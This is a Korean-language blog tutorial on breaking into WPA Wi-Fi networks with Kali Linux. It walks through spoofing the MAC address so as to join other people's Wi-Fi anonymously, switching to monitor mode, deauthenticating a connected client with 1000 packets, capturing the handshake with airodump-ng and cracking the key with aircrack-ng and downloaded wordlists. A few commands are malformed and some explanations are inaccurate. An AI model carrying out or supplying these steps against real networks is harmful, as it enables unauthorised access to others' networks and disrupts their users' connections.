Wi-Fi hacking

Kali linux 를 이용해 해킹.

준비

Virtual box, vmware 를 사용해서 가상 리눅스를 설치한다.

Kali linux 설치

https://www.kali.org

설정

먼저 VB에 kali 를 설치한다. 오에스를 시작하기 전에 가상머신 설정으로 가서 Network 탭에서 ‘Bridged Adapter’ 를 선택해서 내장 와이파이 어뎁터를 쓸 수 있도록 한다.

와이파이 라우터에 접속시 mac address가 기록으로 남기 때문에, 익명으로 타 와이파이에 접속하려면 자신의 Wifi 장치의 mac address를 숨기는 것이 현명하다.

Hide identify: mac address

네트워크 장치가 생산시 등록된 장치 식별 주소이다. 오에스가 하드웨어 장치에서 읽게 된다. 와이파이 네트워크에 연결한 컴퓨터를 식별해서 패킷을 전송하기 위해서 패킷에는 mac address가 목적지 장치로 포함되어 있다. 이 주소가 아닌 컴퓨터는 패킷을 무시하게 된다.

수동으로 mac address 변경하기

http://linuxg.net/3-ways-to-temporary-change-the-mac-address-in-linux-and-unix/

1
2
3
$ sudo ip link show wlan0
3: wlan0: <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DORMANT group default qlen 1000
link/ether 18:36:55:8b:35:99 brd ff:ff:ff:ff:ff:ff

systemd 이용 자동으로 mac address 변경하기

macchanger

맥 주소는 컴퓨터 시작시 오에스에서 메모리에 적재한다. 이렇게 적재한 mac address를 숨기는 것이다. 리눅스에서는 macchanger 를 사용할 수 있다. [^1]

1
$ sudo apt install macchanger

설치시 아래 같이 설정 관리자가 컴퓨터 시작시 자동으로 맥 주소 변경을 할지 묻는다.

맥 주소를 변경하기 위해서 와이파이 인터페이스를 내려준다.

1
$ sudo ifconfig wlan0 down

인터페이스를 비활성화 하고 다음 명령으로 맥 주소를 변경한다

1
$ sudo macchanger --random wlan0

ifconfig wlan0 hw ether 7c:c7:09:de:2b:81 and up again?

핸드쉐이크

와이파이 패킷을 분석하기 위해서는 먼저 handshake 패킷을 캡쳐해야 한다. 핸드쉐이크는 컴퓨터와 무선 네트워크의 연결로 네트워크 패킷과 컴퓨터 패킷이 각각 만날때이다. 핸드쉐이크에서 와이파이 범위 안에 있을 필요는 없다. 핸드웨이크로 패스워드와 와이파이 이름을 가로챌 수 있다.

무선 모드

이제 와이파이 라우터에서 돌아 다니는 모든 패킷을 캡처한다. 여기서 맥 주소로 패킷이 전송된다면 어떻게 내 맥주소에서 모든 패킷을 캡쳐할 수 있는지 궁금할 수 있다. 내 맥 주소는 내가 패킷을 정확한 목적지에 전송할 때 사용한다, 여기서는 내 업뎁터로 수신되는 모든 패킷을 사용한다. 이것은 managed mode 라는 기본 어뎁터 모드로 가능하다.

1
2
3
4
$ iwconfig wlan0
wlan0 unassociated Nickname:"<WIFI@REALTEK>"
Mode:Managed Frequency=2.412 GHz Access Point: Not-Associated
Sensitivity:0/0

모니터 모드에서는 수신되는 모든 패킷을 감지할 수 있다. 아래 같이 모니터 모드로 변환한다.
이제 kali 리눅스에서 다음같이 모드를 모니터링 모드로 변경한다.

1
2
3
4
$ sudo ifconfig wlan0 down
$ sudo iwconfig wlan0 mode monitor
$ sudo iwconfig wlan0 up
$ sudo iwconfig wlan0

일반 리눅스는…

1
2
3
$ sudo iwconfig wlan0 mode monitor
Error for wireless request "Set Mode" (8B06) :
SET failed on device wlan0 ; Operation not permitted.

AP 검색하기

1
$ iwlist wlan0 scan

캡쳐하기

핸드쉐이크는 매번 대상 AP에 관련한 클라이언트에서 전송된다. 그러므로 무선의 모든 패킷을 캡쳐한다. 여기서는 airodump-ng 를 사용한다. 이것은 네트어크에 전송되는 패킷을 찾아내고 캡쳐할 수 있다. 다음 같이 사용한다.

airodump-ng –channel [ch] –bssid [id] –write [file_name] [interface]

먼저 airodump-ng 를 목적 AP에서 실행한다.

1
airodump-ng --channel 6 --bssid 11:22:33:44:55:66 --write outwlan0mon

이제 클라이언트가 접속하기를 대기한다.

연결된 클라이언트를 인증거부를 할 수 있다. 인증거부후 자동으로 연결이 재개된다.

aireplay-ng –deauth [number of deauth packets] –a [AP] -c [target] [interface]

1
$ aireplay-ng --deauth 1000 --a 11:22:33:44:55:66 -c 00:aa:11:22:33 mon0

이제 핸드쉐이크가 캡쳐되면 airodump-ng 의 오른쪽 위에 WPA Handshake 가 표시된다. 아래 그림같이 deauth 패킷을 전송해 본다.

패스워드 크랙

핸드쉐이크를 얻었으면 패스워드를 얻기 위해서 문자 목록을 사용할 수 있다. 아래 사이트에서 받아 보자:

http://www.hackreports.com/2013/05/gigest-password-cracking-wordlist-with.html

https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

이제 받은 패스워드 목록을 aircrack-ng 를 사용해 키를 가로챌 수 있다. 이것은 패스워드 목록에 있는 패스워드를 essid 에 pbkdf2 알고리즘을 사용해 PMK (Pairwise Master Key) 를 계산한다.

aircrack-ng [handshake file] -w [wordlist] [interface]

1
$ aircrack-ng is-01.cap -w list wlan0mon

다음은 aircrack-ng 결과이다.

이것으로 WPA 무선 네트워크를 해킹했다.

참조

[^1]: MAC address spoofing

Author

Gangtai Goh

Posted on

2016-01-02

Updated on

2023-07-17

Licensed under